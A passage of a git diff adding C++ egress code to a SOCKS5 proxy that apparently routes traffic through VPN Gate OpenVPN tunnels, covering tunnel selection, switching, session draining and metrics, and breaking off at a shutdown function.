dns_cfg_(std::move(dns_cfg)), + resolver_(std::make_shared(io, dns_cfg_)), + created_(std::chrono::steady_clock::now()) {} + +DirectEgress::~DirectEgress() = default; + +void DirectEgress::async_connect_tcp(const asio::any_io_executor &ex, + const Endpoint &target, Millis timeout, + ConnectHandler h) { + if (state() != EgressState::Ready) { + const auto ec = make_error_code(state() == EgressState::Draining + ? Error::EgressDraining + : Error::EgressGone); + asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); }); + return; + } + + auto self = shared_from_this(); + auto dial = [self, ex, timeout](const Endpoint &resolved, + ConnectHandler h) mutable { + auto stream = DirectTcpStream::create(self->io_, ex); + self->tcp_active_.fetch_add(1, std::memory_order_relaxed); + stream->set_on_gone([self] { + self->tcp_active_.fetch_sub(1, std::memory_order_relaxed); + }); + stream->start_connect( + resolved, timeout, + [self, stream, ex, h = std::move(h)](const std::error_code &ec) mutable { + self->note_tcp(!ec); + if (ec) { + asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); }); + return; + } + asio::post(ex, [h = std::move(h), stream]() mutable { h({}, stream); }); + }); + }; + + if (!target.is_domain()) { + dial(target, std::move(h)); + return; + } + const uint16_t port = target.port(); + async_resolve(ex, target.domain(), + [dial = std::move(dial), port, ex, self, h = std::move(h)]( + const std::error_code &ec, + std::vector addrs) mutable { + if (ec || addrs.empty()) { + // Report the resolve failure as itself. Folding it into a + // connect error would hand SOCKS5 the wrong REP code and + // send the operator looking at the wrong layer. + self->note_tcp(false); + const auto fail = + ec ? ec : make_error_code(Error::ResolveFailed); + asio::post(ex, [h = std::move(h), fail]() mutable { + h(fail, nullptr); + }); + return; + } + dial(Endpoint(addrs.front(), port), std::move(h)); + }); +} + +void DirectEgress::async_bind_udp(const asio::any_io_executor &ex, + UdpBindHandler h) { + if (state() != EgressState::Ready) { + const auto ec = make_error_code(state() == EgressState::Draining + ? Error::EgressDraining + : Error::EgressGone); + asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); }); + return; + } + std::error_code ec; + auto sock = DirectUdpSocket::create(io_, ex, &ec); + if (!sock) { + asio::post(ex, [h = std::move(h), ec]() mutable { h(ec, nullptr); }); + return; + } + auto self = shared_from_this(); + udp_active_.fetch_add(1, std::memory_order_relaxed); + sock->set_on_gone( + [self] { self->udp_active_.fetch_sub(1, std::memory_order_relaxed); }); + asio::post(ex, [h = std::move(h), sock]() mutable { h({}, sock); }); +} + +void DirectEgress::async_resolve(const asio::any_io_executor &ex, + const std::string &host, ResolveHandler h) { + std::static_pointer_cast(resolver_)->async_resolve_on( + ex, host, std::move(h)); +} + +EgressState DirectEgress::state() const { + return static_cast(state_.load(std::memory_order_acquire)); +} + +void DirectEgress::note_tcp(bool ok) { + if (ok) { + tcp_opened_.fetch_add(1, std::memory_order_relaxed); + direct_tcp_opened()->inc(); + } else { + tcp_failed_.fetch_add(1, std::memory_order_relaxed); + direct_tcp_failed()->inc(); + } +} + +EgressStats DirectEgress::stats() const { + EgressStats s; + s.node_id = "direct"; + s.proto = "direct"; + s.uptime_ms = std::chrono::duration_cast( + std::chrono::steady_clock::now() - created_) + .count(); + s.tcp_opened = tcp_opened_.load(std::memory_order_relaxed); + s.tcp_failed = tcp_failed_.load(std::memory_order_relaxed); + s.tcp_active = tcp_active_.load(std::memory_order_relaxed); + s.udp_active = udp_active_.load(std::memory_order_relaxed); + return s; +} + +void DirectEgress::begin_drain() { + auto expected = static_cast(EgressState::Ready); + state_.compare_exchange_strong(expected, + static_cast(EgressState::Draining)); +} + +void DirectEgress::shutdown(std::function on_done) { + state_.store(static_cast(EgressState::Down), std::memory_order_release); + // Nothing to tear down: host sockets belong to the streams, and dropping a + // stream closes it. The asymmetry with TunnelEgress is real and fine -- there + // is no shared resource here whose removal would strand a live connection. + if (on_done) asio::post(io_, std::move(on_done)); +} + +} // namespace ovg::egress diff --git a/src/egress/direct_egress.h b/src/egress/direct_egress.h new file mode 100644 index 0000000..dacbd28 --- /dev/null +++ b/src/egress/direct_egress.h @@ -0,0 +1,78 @@ +// The egress that isn't: host sockets, no VPN, no lwIP. +// +// It exists for two reasons, both practical. +// +// * The SOCKS5 layer needs to be testable without bringing up a tunnel to a +// volunteer server in another country. Against this egress the whole proxy +// runs end to end over loopback, in a unit test, deterministically. +// * `egress_mode = direct` in the config gives an operator a working proxy +// while they debug node selection, and gives a build without openvpn3 +// something to do (see OVG_WITH_TUNNEL in src/CMakeLists.txt). +// +// It is emphatically not a fallback the switch controller may reach for on its +// own: traffic through it is not in the VPN, and quietly degrading to that +// would be the worst possible failure mode for a program whose entire job is +// to not do that. Selecting it is a config decision, made once, at startup. +// +// The stream and socket types here implement the same netstack interfaces as +// the lwIP ones, so nothing above notices the difference -- including the +// half-close and cancellation semantics, which are matched deliberately rather +// than approximately. +#pragma once + +#include + +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "egress/egress.h" + +namespace ovg::egress { + +class DirectEgress final : public Egress, + public std::enable_shared_from_this { + public: + static std::shared_ptr create(asio::io_context &io, + DnsConfig dns_cfg); + ~DirectEgress() override; + + DirectEgress(const DirectEgress &) = delete; + DirectEgress &operator=(const DirectEgress &) = delete; + + // Egress + void async_connect_tcp(const asio::any_io_executor &ex, const Endpoint &target, + Millis timeout, ConnectHandler h) override; + void async_bind_udp(const asio::any_io_executor &ex, + UdpBindHandler h) override; + void async_resolve(const asio::any_io_executor &ex, const std::string &host, + ResolveHandler h) override; + EgressState state() const override; + EgressStats stats() const override; + std::string detail() const override { return {}; } + void begin_drain() override; + void shutdown(std::function on_done = {}) override; + const std::string &label() const override { return label_; } + + private: + DirectEgress(asio::io_context &io, DnsConfig dns_cfg); + + void note_tcp(bool ok); + + asio::io_context &io_; + DnsConfig dns_cfg_; + std::string label_ = "direct"; + std::shared_ptr resolver_; + std::chrono::steady_clock::time_point created_; + + std::atomic state_{static_cast(EgressState::Ready)}; + std::atomic tcp_opened_{0}; + std::atomic tcp_failed_{0}; + std::atomic tcp_active_{0}; + std::atomic udp_active_{0}; +}; + +} // namespace ovg::egress diff --git a/src/egress/egress.cpp b/src/egress/egress.cpp new file mode 100644 index 0000000..39c7c90 --- /dev/null +++ b/src/egress/egress.cpp @@ -0,0 +1,21 @@ +#include "egress/egress.h" + +namespace ovg::egress { + +const char *egress_state_name(EgressState s) { + switch (s) { + case EgressState::Idle: + return "idle"; + case EgressState::Connecting: + return "connecting"; + case EgressState::Ready: + return "ready"; + case EgressState::Draining: + return "draining"; + case EgressState::Down: + return "down"; + } + return "unknown"; +} + +} // namespace ovg::egress diff --git a/src/egress/egress.h b/src/egress/egress.h new file mode 100644 index 0000000..233ab35 --- /dev/null +++ b/src/egress/egress.h @@ -0,0 +1,153 @@ +// The way out. Everything above this line -- SOCKS5, health, admin -- programs +// against this interface and nothing else. +// +// --------------------------------------------------------------------------- +// Why the whole design hangs on this being a shared_ptr +// --------------------------------------------------------------------------- +// A SOCKS5 session takes a reference at accept time and holds it until it ends. +// That single rule buys three things that would otherwise each need their own +// machinery: +// +// * A session can never be re-homed underneath itself. The egress it started +// on is the egress it finishes on, so there is no window where a half-sent +// request goes out one tunnel and its continuation out another. +// * Draining needs no session table. The reference count *is* the number of +// sessions still using this egress; when it hits zero the destructor closes +// the tunnel. Nothing to iterate, nothing to leak. +// * The switch is a pointer swap. Promote = store a new shared_ptr in the +// manager; every acquire() after that gets the new one, every session +// before it is untouched. +// +// docs/ARCHITECTURE.md §5.2. +// +// --------------------------------------------------------------------------- +// Threading +// --------------------------------------------------------------------------- +// Every method is safe to call from any thread. Each async method takes the +// executor its handler must run on, and so does everything the handler hands +// back: a stream created with a session's strand delivers all of its own +// completions on that strand too. +// +// Passing the executor explicitly rather than fixing it at construction is what +// lets one egress serve a thousand sessions on four io threads while each +// session still sees a single-threaded world. Implementations that need +// internal serialization -- the tunnel one does, because lwIP does -- arrange +// that privately and never leak it to the caller. +#pragma once + +#include + +#include +#include +#include +#include +#include + +#include "common/config.h" +#include "common/endpoint.h" +#include "netstack/stream.h" + +namespace ovg::egress { + +using netstack::TcpStreamPtr; +using netstack::UdpSocketPtr; + +enum class EgressState { + Idle, // constructed, start() not called + Connecting, // bringing the tunnel up; no traffic yet + Ready, // usable + Draining, // still serving existing sessions, refusing new ones + Down, // unusable; `detail()` says why +}; +const char *egress_state_name(EgressState s); + +struct EgressStats { + // Identity. + std::string node_id; + std::string node_country; + std::string server_ip; + std::string local_address; // our address inside the tunnel + std::string proto; // "udp" / "tcp" / "direct" + + // Age and use. + int64_t uptime_ms = 0; + int64_t sessions = 0; // shared_ptr use_count minus the manager's own refs + + // Traffic, as seen at the tunnel. Zero for the direct egress, which has no + // single aggregate to report. + uint64_t tun_bytes_in = 0; + uint64_t tun_bytes_out = 0; + uint64_t transport_bytes_in = 0; + uint64_t transport_bytes_out = 0; + int last_packet_received_ms = -1; // -1 = never + + // Connection outcomes, since construction. + uint64_t tcp_opened = 0; + uint64_t tcp_failed = 0; + int64_t tcp_active = 0; + int64_t udp_active = 0; + + // Packet-level health, from the netstack. All zero for direct. + uint64_t rx_packets = 0; + uint64_t tx_packets = 0; + uint64_t tx_dropped = 0; + uint64_t rx_malformed = 0; + uint64_t rx_dropped = 0; + + double connect_failure_rate() const { + const uint64_t total = tcp_opened + tcp_failed; + return total == 0 ? 0.0 : static_cast(tcp_failed) / total; + } +}; + +class Egress { + public: + using ConnectHandler = + std::function; + using UdpBindHandler = + std::function; + using ResolveHandler = + std::function)>; + + virtual ~Egress() = default; + + // `target` may be a domain: resolving it here rather than at the caller is + // what keeps DNS inside the tunnel. A literal address skips the lookup. + virtual void async_connect_tcp(const asio::any_io_executor &ex, + const Endpoint &target, Millis timeout, + ConnectHandler h) = 0; + + // An outbound datagram socket on this egress, for SOCKS5 UDP ASSOCIATE. + virtual void async_bind_udp(const asio::any_io_executor &ex, + UdpBindHandler h) = 0; + + // Exposed separately from connect because SOCKS5 needs the resolved address + // for the BND field in the reply, and the health monitor times a lookup as + // its in-tunnel RTT probe. + virtual void async_resolve(const asio::any_io_executor &ex, + const std::string &host, ResolveHandler h) = 0; + + virtual EgressState state() const = 0; + virtual EgressStats stats() const = 0; + + // Human-readable reason for Down, or an empty string. + virtual std::string detail() const = 0; + + // Stops accepting new work. Existing streams keep running: this is the state + // an egress sits in between being replaced and its last session ending. + // Idempotent. + virtual void begin_drain() = 0; + + // Tears everything down now, aborting live streams with Error::EgressGone. + // `on_done` runs on the egress's executor once the tunnel is gone. + virtual void shutdown(std::function on_done = {}) = 0; + + // Stable label for logs: node id for a tunnel, "direct" otherwise. + virtual const std::string &label() const = 0; + + bool usable() const { return state() == EgressState::Ready; } +}; + +using EgressPtr = std::shared_ptr; + +} // namespace ovg::egress diff --git a/src/egress/egress_manager.cpp b/src/egress/egress_manager.cpp new file mode 100644 index 0000000..44f8cd8 --- /dev/null +++ b/src/egress/egress_manager.cpp @@ -0,0 +1,806 @@ +#include "egress/egress_manager.h" + +#include +#include +#include + +#include "common/error.h" +#include "common/logging.h" +#include "common/metrics.h" +#include "egress/direct_egress.h" + +#if OVG_WITH_TUNNEL +#include "egress/tunnel_egress.h" +#include "netstack/lwip_stack.h" +#endif + +namespace ovg::egress { +namespace { + +constexpr const char *kMod = "egress"; + +// How many full selection rounds startup gets before start() reports failure. +// A round already walks several candidates, so this is "the node list is +// unusable", not "one server was busy". Bounded rather than infinite because a +// service that never finishes starting is harder to operate than one that exits +// with a reason. +constexpr size_t kStartupRounds = 4; + +// The directory arrives asynchronously and the first selection usually loses +// the race with it by about a second. Poll at this interval instead of burning +// a startup round and an exponential backoff on a condition that is not a +// failure. Bounded, because "the API is unreachable and there is no cache" must +// eventually become a reported error rather than a service that waits forever. +constexpr Millis kDirectoryWaitDelay{1000}; +constexpr size_t kMaxDirectoryWaits = 45; + +metrics::Counter *m_switches() { + static auto *c = metrics::counter("ovg_egress_switch_total", + "Completed egress switches"); + return c; +} +metrics::Counter *m_switch_failed() { + static auto *c = metrics::counter("ovg_egress_switch_failed_total", + "Switch attempts that found no usable node"); + return c; +} +metrics::Counter *m_hard() { + static auto *c = metrics::counter( + "ovg_egress_hard_switch_total", + "Switches that had to close existing sessions immediately"); + return c; +} +metrics::Counter *m_drain_expired() { + static auto *c = metrics::counter( + "ovg_egress_drain_expired_total", + "Draining egresses force-closed when the grace window ran out"); + return c; +} +metrics::Gauge *m_draining() { + static auto *g = metrics::gauge("ovg_egress_draining", + "Egresses serving out their last sessions"); + return g; +} + +int64_t ms_since(std::chrono::steady_clock::time_point t) { + using namespace std::chrono; + return duration_cast(steady_clock::now() - t).count(); +} + +} // namespace + +const char *switch_phase_name(SwitchPhase p) { + switch (p) { + case SwitchPhase::Idle: + return "idle"; + case SwitchPhase::Selecting: + return "selecting"; + case SwitchPhase::Connecting: + return "connecting"; + case SwitchPhase::Promoting: + return "promoting"; + case SwitchPhase::Draining: + return "draining"; + } + return "unknown"; +} + +const char *switch_reason_name(SwitchReason r) { + switch (r) { + case SwitchReason::Startup: + return "startup"; + case SwitchReason::Unhealthy: + return "unhealthy"; + case SwitchReason::BetterCandidate: + return "better-candidate"; + case SwitchReason::TunnelDown: + return "tunnel-down"; + case SwitchReason::Manual: + return "manual"; + } + return "unknown"; +} + +EgressManager::EgressManager(asio::io_context &io, Config cfg, + selector::Selector *selector, + selector::HistoryStore *history, + netstack::Stack *stack) + : io_(io), + cfg_(std::move(cfg)), + selector_(selector), + history_(history), + stack_(stack), + strand_(asio::make_strand(io)), + drain_timer_(strand_) { +#if OVG_WITH_TUNNEL + if (stack_ != nullptr) { + factory_ = [this](const vpngate::Node &node, const vpngate::Remote &remote, + NodeReadyHandler on_ready) -> EgressPtr { + auto e = TunnelEgress::create(io_, *stack_, cfg_.ovpn); + std::string err; + if (!e->start(node, remote, std::move(on_ready), &err)) { + LOG_WARN(kMod, "cannot start {}: {}", node.id(), err); + return nullptr; + } + return e; + }; + } +#endif +} + +EgressManager::~EgressManager() = default; + +void EgressManager::set_egress_factory(EgressFactory f) { + factory_ = std::move(f); +} + +void EgressManager::set_on_promote(PromoteHandler h) { + std::lock_guard lk(mu_); + on_promote_ = std::move(h); +} + +void EgressManager::set_on_drain_expired(DrainExpiredHandler h) { + std::lock_guard lk(mu_); + on_drain_expired_ = std::move(h); +} + +EgressPtr EgressManager::acquire() const { + std::lock_guard lk(mu_); + // Deliberately not "any usable egress": a draining one must never take new + // sessions, or the drain would never end. + if (active_ && active_->usable()) return active_; + return nullptr; +} + +void EgressManager::set_phase(SwitchPhase p) { + std::lock_guard lk(mu_); + phase_ = p; +} + +// --------------------------------------------------------------------------- +// Startup +// --------------------------------------------------------------------------- + +void EgressManager::start(StartHandler on_ready) { + asio::post(strand_, [this, on_ready = std::move(on_ready)]() mutable { + if (shutting_down_) { + if (on_ready) on_ready(make_error_code(Error::Cancelled)); + return; + } + on_start_ = std::move(on_ready); + start_reported_ = false; + start_rounds_ = 0; + + if (cfg_.egress_mode != "tunnel") { + // Direct mode has nothing to select and nothing to switch to; it is up as + // soon as it is constructed. + auto e = make_direct(); + set_phase(SwitchPhase::Promoting); + promote(SwitchReason::Startup, std::move(e), nullptr); + return; + } + + set_phase(SwitchPhase::Selecting); + begin_select(SwitchReason::Startup); + }); +} + +void EgressManager::finish_start(const std::error_code &ec, + const std::string &why) { + if (start_reported_) return; + start_reported_ = true; + auto h = std::move(on_start_); + on_start_ = nullptr; + if (!h) return; + if (ec) { + LOG_ERROR(kMod, "startup failed: {}", why); + } + // Off the strand: the caller's handler starts listeners and does not belong + // inside our state machine's serialization. + asio::post(io_, [h = std::move(h), ec]() { h(ec); }); +} + +EgressPtr EgressManager::make_direct() { return DirectEgress::create(io_, cfg_.dns); } + +// --------------------------------------------------------------------------- +// Switch request +// --------------------------------------------------------------------------- + +bool EgressManager::request_switch(SwitchReason reason, bool force, + std::string *why) { + const auto decline = [&](std::string msg) { + LOG_DEBUG(kMod, "switch({}) declined: {}", switch_reason_name(reason), msg); + if (why) *why = std::move(msg); + return false; + }; + if (cfg_.egress_mode != "tunnel") { + return decline(fmt::format( + "egress_mode = {}: there is no tunnel here to switch away from", + cfg_.egress_mode)); + } + const auto now = Clock::now(); + { + std::lock_guard lk(mu_); + // Draining counts as quiescent: a 2-minute grace window must not block a + // node going bad in the meantime. + if (phase_ != SwitchPhase::Idle && phase_ != SwitchPhase::Draining) { + return decline(fmt::format("a switch is already in progress ({})", + switch_phase_name(phase_))); + } + if (!force) { + if (last_switch_ != Clock::time_point{} && + now - last_switch_ < cfg_.switching.min_interval) { + return decline(fmt::format( + "anti-flap: {} ms since the last switch, minimum is {} ms", + ms_since(last_switch_), cfg_.switching.min_interval.count())); + } + if (now < backoff_until_) { + return decline(fmt::format( + "backing off after a failed switch for another {} ms", + std::chrono::duration_cast(backoff_until_ - now).count())); + } + } + // Claiming the phase here, under the same lock as the checks, is what makes + // two concurrent requests resolve to one switch. + phase_ = SwitchPhase::Selecting; + candidate_node_.clear(); + } + asio::post(strand_, [this, reason] { + if (shutting_down_) { + set_phase(SwitchPhase::Idle); + return; + } + begin_select(reason); + }); + return true; +} + +void EgressManager::begin_select(SwitchReason reason) { + if (!selector_) { + fail_switch(reason, "no selector: nothing can be chosen"); + return; + } + selector::SelectRequest req; + req.exclude_ids = excluded_ids(); + // More than one, because the point of the list is to have a second choice + // when the first fails to come up. + req.want = 3; + req.probe = true; + + LOG_INFO(kMod, "selecting a node ({}), excluding {} in use", + switch_reason_name(reason), req.exclude_ids.size()); + + selector_->select(std::move(req), [this, reason]( + std::vector c) { + asio::post(strand_, [this, reason, c = std::move(c)]() mutable { + if (shutting_down_) { + set_phase(SwitchPhase::Idle); + return; + } + on_candidates(reason, std::move(c)); + }); + }); +} + +std::vector EgressManager::excluded_ids() const { + std::vector ids; + std::lock_guard lk(mu_); + if (active_) { + auto id = active_->stats().node_id; + if (!id.empty()) ids.push_back(std::move(id)); + } + // A node still draining cannot be re-entered: its addresses are still bound + // in lwIP, and reconnecting to it would collide with itself. + for (const auto &d : draining_) { + if (!d.node_id.empty()) ids.push_back(d.node_id); + } + return ids; +} + +bool EgressManager::beats_incumbent(const selector::Candidate &c) const { + if (!selector_) return true; + std::string incumbent; + { + std::lock_guard lk(mu_); + if (!active_) return true; + incumbent = active_->stats().node_id; + } + if (incumbent.empty()) return true; + auto cur = selector_->rescore(incumbent); + // The incumbent has fallen out of the node list entirely. That is itself a + // reason to move, not a reason to stay. + if (!cur) return true; + const double need = cur->score * (1.0 + cfg_.switching.improvement_margin); + const bool ok = c.score >= need; + LOG_INFO(kMod, "candidate {} scores {:.3f} vs incumbent {} {:.3f} (need {:.3f}): {}", + c.node.id(), c.score, incumbent, cur->score, need, + ok ? "switching" : "staying"); + return ok; +} + +void EgressManager::on_candidates(SwitchReason reason, + std::vector c) { + if (c.empty()) { + // Cold start: the directory refresh is still in flight, so there is nothing + // to choose from *yet*. Treated as a failed switch this costs a full + // backoff -- thirty seconds of "no egress" on every single start, for a + // race that resolves in about one second. It is not a failure; nothing has + // been tried. Retry soon and leave the backoff ladder alone. + if (!selector_->directory_loaded()) { + retry_startup(reason, kDirectoryWaitDelay, "waiting for the node list"); + return; + } + fail_switch(reason, "selector returned no usable candidates"); + return; + } + // Only an opportunistic switch has to justify itself. When the current node + // is unhealthy or gone, anything that connects is an improvement. + if (reason == SwitchReason::BetterCandidate && !beats_incumbent(c.front())) { + std::lock_guard lk(mu_); + phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining; + return; + } + collision_forced_ = false; + auto queue = std::make_shared>(std::move(c)); + set_phase(SwitchPhase::Connecting); + try_candidate(reason, std::move(queue), 0); +} + +void EgressManager::try_candidate(SwitchReason reason, CandidateQueue queue, + size_t idx) { + if (shutting_down_) { + set_phase(SwitchPhase::Idle); + return; + } + if (idx >= queue->size()) { + fail_switch(reason, "every candidate failed to come up"); + return; + } + if (!factory_) { + fail_switch(reason, + "no egress factory (built without tunnel support, or no " + "netstack was supplied)"); + return; + } + const selector::Candidate &cand = (*queue)[idx]; + const vpngate::Remote *remote = cand.node.pick_remote(cfg_.selector.prefer_udp); + if (remote == nullptr) { + candidate_failed(reason, queue, idx, make_error_code(Error::ConfigInvalid), + "profile has no usable remote"); + return; + } + { + std::lock_guard lk(mu_); + candidate_node_ = cand.node.id(); + } + LOG_INFO(kMod, + "connecting candidate {}/{}: {} ({} {}:{}) score={:.3f} rtt={:.1f}ms", + idx + 1, queue->size(), cand.node.id(), cand.node.country_short, + remote->host, remote->port, cand.score, cand.rtt_ms); + + // The handler is posted rather than run inline so a factory that completes + // synchronously still lands after `pending_` has been set below. + auto e = factory_( + cand.node, *remote, + [this, reason, queue, idx](const std::error_code &ec, + const std::string &detail) { + asio::post(strand_, [this, reason, queue, idx, ec, detail] { + if (shutting_down_) return; + if (ec) { + candidate_failed(reason, queue, idx, ec, detail); + return; + } + auto fresh = std::move(pending_); + if (!fresh) return; // shutdown raced us + set_phase(SwitchPhase::Promoting); + promote(reason, std::move(fresh), &(*queue)[idx]); + }); + }); + if (!e) { + candidate_failed(reason, queue, idx, make_error_code(Error::ConfigInvalid), + "node could not be started"); + return; + } + pending_ = std::move(e); +} + +void EgressManager::candidate_failed(SwitchReason reason, CandidateQueue queue, + size_t idx, const std::error_code &ec, + const std::string &detail) { + const selector::Candidate &cand = (*queue)[idx]; + auto dead = std::move(pending_); + pending_.reset(); + + // The old egress was never touched, so this costs the sessions on it nothing. + LOG_WARN(kMod, "candidate {} failed to come up: {} ({})", cand.node.id(), + detail.empty() ? ec.message() : detail, ec.message()); + if (history_) history_->record_failure(cand.node.id()); + + auto next = [this, reason, queue, idx] { + // Address collision is the one failure where retrying the *same* node makes + // sense -- but only after the thing it collided with is gone, which means + // giving up on keeping the old sessions. This is the documented fallback + // from the requirement: keep them if possible, otherwise drop them all. + asio::post(strand_, [this, reason, queue, idx] { + try_candidate(reason, queue, idx); + }); + }; + + if (ec == Error::ResourceExhausted && !collision_forced_) { + collision_forced_ = true; + LOG_WARN(kMod, + "address collision with a tunnel still in use: downgrading to a " + "hard switch, existing sessions will be closed"); + m_hard()->inc(); + if (dead) dead->shutdown(); + evict_all("address collision"); + next(); + return; + } + + if (dead) dead->shutdown(); + asio::post(strand_, [this, reason, queue, idx] { + try_candidate(reason, queue, idx + 1); + }); +} + +// --------------------------------------------------------------------------- +// Promotion and draining +// --------------------------------------------------------------------------- + +void EgressManager::promote(SwitchReason reason, EgressPtr fresh, + const selector::Candidate *cand) { + EgressPtr old; + PromoteHandler on_promote; + { + std::lock_guard lk(mu_); + old = active_; + active_ = fresh; + on_promote = on_promote_; + switches_++; + last_switch_ = Clock::now(); + last_reason_ = switch_reason_name(reason); + candidate_node_.clear(); + // A successful bring-up clears the penalty; the next failure starts over at + // backoff_initial rather than wherever the previous streak left off. + backoff_ = Millis{0}; + backoff_until_ = Clock::time_point{}; + } + m_switches()->inc(); + if (cand && history_) history_->record_success(cand->node.id(), cand->rtt_ms); + + LOG_INFO(kMod, "promoted {} ({}){}", fresh->label(), + switch_reason_name(reason), + old ? fmt::format(", replacing {}", old->label()) : ""); + + // Before the old one starts refusing work, so the SOCKS5 layer can re-home + // what is safe to re-home while both are still up. + if (on_promote) on_promote(old, fresh); + + if (old) { + old->begin_drain(); + const bool hard = cfg_.switching.mode == SwitchConfig::Mode::Hard; + if (hard) { + LOG_INFO(kMod, "switch mode is hard: closing {} now", old->label()); + m_hard()->inc(); + DrainExpiredHandler h; + { + std::lock_guard lk(mu_); + h = on_drain_expired_; + } + if (h) h(old); + old->shutdown(); + } else { + DrainingEgress d; + d.node_id = old->stats().node_id; + d.deadline = Clock::now() + cfg_.switching.drain_grace; + d.egress = old; + // use_count() here is ours plus every session still holding one. Reported + // rather than acted on: the sessions end when they end. + LOG_INFO(kMod, "draining {} for up to {} ms ({} references live)", + old->label(), cfg_.switching.drain_grace.count(), + old.use_count() - 1); + std::vector over_limit; + { + std::lock_guard lk(mu_); + draining_.push_back(std::move(d)); + // Bounded on purpose: each draining tunnel still holds an OpenVPN + // session, a netif and its buffers. Without a cap, a flapping node + // would accumulate them until memory ran out. + while (draining_.size() > cfg_.switching.max_draining) { + over_limit.push_back(draining_.front().egress); + draining_.erase(draining_.begin()); + } + m_draining()->set(static_cast(draining_.size())); + } + for (const auto &e : over_limit) { + LOG_WARN(kMod, "too many draining egresses: closing {} early", + e->label()); + m_drain_expired()->inc(); + DrainExpiredHandler h; + { + std::lock_guard lk(mu_); + h = on_drain_expired_; + } + if (h) h(e); + e->shutdown(); + } + schedule_drain_sweep(); + } + } + + finish_start({}, {}); + { + std::lock_guard lk(mu_); + phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining; + } +} + +void EgressManager::evict_all(const char *why) { + EgressPtr old; + std::vector drains; + DrainExpiredHandler h; + { + std::lock_guard lk(mu_); + old = std::move(active_); + active_.reset(); + drains.swap(draining_); + h = on_drain_expired_; + m_draining()->set(0); + } + // acquire() returns null from here until a promotion lands: new SOCKS5 + // sessions are refused rather than silently sent outside the tunnel. + if (old) { + LOG_WARN(kMod, "closing active egress {} ({})", old->label(), why); + if (h) h(old); + old->shutdown(); + } + for (auto &d : drains) { + if (h) h(d.egress); + d.egress->shutdown(); + } +} + +void EgressManager::schedule_drain_sweep() { + { + std::lock_guard lk(mu_); + if (draining_.empty()) return; + } + // One shared timer at a fixed cadence rather than a timer per drain: the + // grace window is minutes, so a second of slack costs nothing and this keeps + // the timer count independent of how many drains are in flight. + drain_timer_.expires_after(std::chrono::seconds(1)); + drain_timer_.async_wait([this](const std::error_code &ec) { + if (ec) return; + sweep_drains(); + }); +} + +void EgressManager::sweep_drains() { + if (shutting_down_) return; + std::vector expired; + std::vector finished; + DrainExpiredHandler h; + { + std::lock_guard lk(mu_); + h = on_drain_expired_; + const auto now = Clock::now(); + auto it = draining_.begin(); + while (it != draining_.end()) { + // use_count() == 1 means we hold the only reference: every session that + // was on this egress has ended. This is the whole drain-completion test. + if (it->egress.use_count() == 1) { + finished.push_back(it->egress); + it = draining_.erase(it); + } else if (now >= it->deadline) { + expired.push_back(it->egress); + it = draining_.erase(it); + } else { + ++it; + } + } + m_draining()->set(static_cast(draining_.size())); + } + + for (const auto &e : finished) { + LOG_INFO(kMod, "drain complete for {}: last session ended after {} ms", + e->label(), e->stats().uptime_ms); + e->shutdown(); + } + for (const auto &e : expired) { + LOG_WARN(kMod, + "drain grace expired for {} with {} sessions still open: closing", + e->label(), e.use_count() - 1); + m_drain_expired()->inc(); + if (h) h(e); + e->shutdown(); + } + + bool more = false; + { + std::lock_guard lk(mu_); + more = !draining_.empty(); + if (!more && phase_ == SwitchPhase::Draining) phase_ = SwitchPhase::Idle; + } + if (more) schedule_drain_sweep(); +} + +void EgressManager::retry_startup(SwitchReason reason, Millis delay, + const std::string &why) { + // Deliberately does *not* touch backoff_ or switch_failures_: nothing was + // attempted, so there is nothing to back off from and no failure to report. + // Releasing the phase is what matters -- the tunnel-down watchdog re-requests + // every few seconds and would otherwise be told a switch is in progress. + { + std::lock_guard lk(mu_); + phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining; + candidate_node_.clear(); + } + + if (reason != SwitchReason::Startup || start_reported_) { + LOG_INFO(kMod, "switch ({}) deferred: {}", switch_reason_name(reason), why); + return; + } + + if (++directory_waits_ > kMaxDirectoryWaits) { + finish_start(make_error_code(Error::TunnelSetupFailed), + fmt::format("{} after {} s", why, kMaxDirectoryWaits)); + return; + } + // Only the first is worth a line; the rest would be one INFO per second. + if (directory_waits_ == 1) LOG_INFO(kMod, "startup {}", why); + + arm_startup_poll(delay); +} + +void EgressManager::arm_startup_poll(Millis delay) { + auto timer = std::make_shared(strand_); + timer->expires_after(delay); + timer->async_wait([this, timer](const std::error_code &ec) { + if (ec || shutting_down_ || start_reported_) return; + // Claim the phase rather than assume it. Releasing it (which is the whole + // point of the no-penalty retry) makes the manager reachable again, and the + // tunnel-down watchdog fires every three seconds while there is no egress: + // without this check both timers run a selection at once and two tunnels + // get built for one slot. + if (!claim_switch_phase()) { + LOG_DEBUG(kMod, "startup poll: a selection is already running, waiting"); + arm_startup_poll(kDirectoryWaitDelay); + return; + } + begin_select(SwitchReason::Startup); + }); +} + +bool EgressManager::claim_switch_phase() { + std::lock_guard lk(mu_); + if (phase_ != SwitchPhase::Idle && phase_ != SwitchPhase::Draining) + return false; + phase_ = SwitchPhase::Selecting; + candidate_node_.clear(); + return true; +} + +void EgressManager::fail_switch(SwitchReason reason, const std::string &why) { + Millis delay{0}; + { + std::lock_guard lk(mu_); + switch_failures_++; + // Exponential, so a node list that is briefly unusable is retried soon and + // one that is persistently unusable is not hammered. + backoff_ = backoff_.count() == 0 + ? cfg_.switching.backoff_initial + : std::min(backoff_ * 2, cfg_.switching.backoff_max); + backoff_until_ = Clock::now() + backoff_; + phase_ = draining_.empty() ? SwitchPhase::Idle : SwitchPhase::Draining; + candidate_node_.clear(); + delay = backoff_; + } + m_switch_failed()->inc(); + LOG_WARN(kMod, "switch ({}) failed: {}; backing off {} ms", + switch_reason_name(reason), why, delay.count()); + + if (reason != SwitchReason::Startup || start_reported_) return; + + if (++start_rounds_ >= kStartupRounds) { + finish_start(make_error_code(Error::TunnelSetupFailed), + fmt::format("no node came up after {} rounds: {}", + start_rounds_, why)); + return; + } + // Startup is the one case that retries itself: there is nothing to serve + // traffic with until it succeeds, so no external trigger will arrive. + LOG_INFO(kMod, "retrying startup (round {}) in {} ms", start_rounds_ + 1, + delay.count()); + arm_startup_poll(delay); +} + +// --------------------------------------------------------------------------- +// Shutdown and introspection +// --------------------------------------------------------------------------- + +void EgressManager::shutdown(std::function on_done) 